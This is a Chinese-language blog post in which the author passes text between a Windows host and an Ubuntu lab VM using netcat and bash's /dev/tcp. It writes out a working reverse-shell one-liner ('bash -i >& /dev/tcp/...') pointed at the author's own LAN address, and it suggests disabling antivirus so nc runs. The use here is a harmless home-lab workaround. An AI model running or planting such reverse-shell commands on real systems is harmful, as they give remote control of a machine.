虛擬機(jī)與主機(jī)連接指南-反彈shell式
時(shí)間:2023-06-30 02:12:01 | 來源:網(wǎng)站運(yùn)營
時(shí)間:2023-06-30 02:12:01 來源:網(wǎng)站運(yùn)營
虛擬機(jī)與主機(jī)連接指南-反彈shell式:
0x00起因
今天上午要搭建vulhub靶機(jī)需要安裝docker,安裝docker需要安裝curl,但官方源太慢,因此Ubuntu虛擬機(jī)要換國內(nèi)鏡像源,需要手工編輯/etc/apt/sources.list文件,但是在Windows物理機(jī)中復(fù)制過后無法在虛擬機(jī)中直接粘貼于是就產(chǎn)生了這篇文章...其實(shí)并不能說是反彈shell,只不過借鑒了反彈shell的思想。(到最后換了源還是沒能成功下載curl,只好用wget下載后編譯安裝,但編譯安裝需要openssl支持,于是又去安裝openssl,安裝openssl時(shí)出現(xiàn)莫名其妙的錯(cuò)誤...我真的 了,到現(xiàn)在還沒有解決,大概是因?yàn)殡娔X是六年前買的,Ubuntu版本是12.04,以及VMware是不知道從哪個(gè)地方下載下來的工地版本......不過在這個(gè)過程中實(shí)踐了反彈shell,熟悉了基本Linux命令和su權(quán)限,增長了見識,這些就算是意外收獲吧)
以下操作我均在root身份下進(jìn)行
0x01彎路
首先嘗試vmware tools,但是我的vm一直提示正在安裝,失敗告終。
然后嘗試ssh隧道,主機(jī)和虛擬機(jī)互相可以ping通,但Ubuntu預(yù)置只有ssh client,我需要配置ssh server,但問題是,我的源不更換就無法使用apt-get install openssh,而在這種方法下要想更換源就先要安裝openssh,于是乎變成了先有雞還是現(xiàn)有蛋的問題...
于是我有想,可以讓物理機(jī)充當(dāng)ssh server,而Ubuntu充當(dāng)客戶端,但由于物理機(jī)是Windows,搭建openssh server比較困難,因此放棄。
0x02正軌(柳暗花明)
好在平時(shí)滲透測試相關(guān)文章看得比較多,讓我很快想到了反彈shell,而這種方法在搜索“主機(jī)和虛擬機(jī)通信”時(shí)幾乎沒有提及(反正我是沒有看到),我就想著試試看吧
首先反彈的話Ubuntu端無需額外安裝軟件,Windows物理機(jī)上需要安裝nc,不過nc體積很小才幾MB下載很快,但記得把殺軟關(guān)掉?。。』蛘咴O(shè)置里把自動(dòng)處理改成詢問我。(我沒關(guān)火絨,解壓后直接給我刪除,添加信任后我把nc.exe復(fù)制到system32文件夾下它又給我刪除,沒有管理員權(quán)限它還恢復(fù)不回去,等好不容易復(fù)制過去命令提示符里一敲nc它又給我刪除我真服了)
然后就可以愉快地開始操作了
0x03掉進(jìn)坑里的快樂操作
首先要知道兩臺機(jī)子的ip,win下敲ipconfig,Ubuntu下敲ifconfig
然后win下輸入
nc -l -p 2333
這里的2333是我隨便指定的監(jiān)聽端口,當(dāng)然你也可以寫其他的端口,最好不要和已在使用的沖突,一般四位數(shù)五位數(shù)的不太容易撞車,不過你非要寫成80之類的我也拿你沒辦法,你可以試一下(我沒試過)
之后在Ubuntu下輸入
bash -i >& /dev/tcp/192.168.18.1/2333 0>&1
192.168.18.1是Windows端的IP
回車后即可在Windows上收到反彈回來的shell
但是......這個(gè)shell好像不能滿足我的要求?
Windows端可以輸入Linux命令并得到結(jié)果,就像在真正操作Ubuntu一樣,但是Ubuntu屏幕上看不到任何一條消息,Ubuntu段任意輸入字符后,Windows端看不到這些字符。
那怎么辦?我要把國內(nèi)源的網(wǎng)址發(fā)送給Ubuntu,然后再在Ubuntu中復(fù)制粘貼,反彈是不是太高級了?
于是我回去翻了一下反彈shell的原理......
0x04正解!
正所謂Linux一切皆文件,那么標(biāo)準(zhǔn)輸入輸入設(shè)備也可以看成文件咯
實(shí)驗(yàn)一:Ubuntu向Windows傳輸字符
Windows端輸入
nc -l -p 2333
Ubuntu端輸入
echo test > /dev/tcp/192.168.18.1/2333
于是Windows端屏幕上得到輸出:test
成功!
實(shí)驗(yàn)二:Windows向Ubuntu端傳輸字符
首先Windows端輸入
nc -l -p 2333
然后Ubuntu端輸入
cat < /dev/tcp/198.168.18.1/2333
回車后就可以發(fā)現(xiàn)Windows端提示建立了連接
此時(shí)就可以在Windows端輸入字符,然后就可以在Ubuntu端看到字符輸出啦!
實(shí)驗(yàn)二是正解!
0x05反思
彎路走得不少,有點(diǎn)鬧心,但是潛下心還是能夠有所收獲的
以后有時(shí)間我會(huì)寫從原理上寫一篇詳細(xì)的反彈shell學(xué)習(xí)筆記
希望我能靜下心來吧。
關(guān)鍵詞:指南,連接,主機(jī),虛擬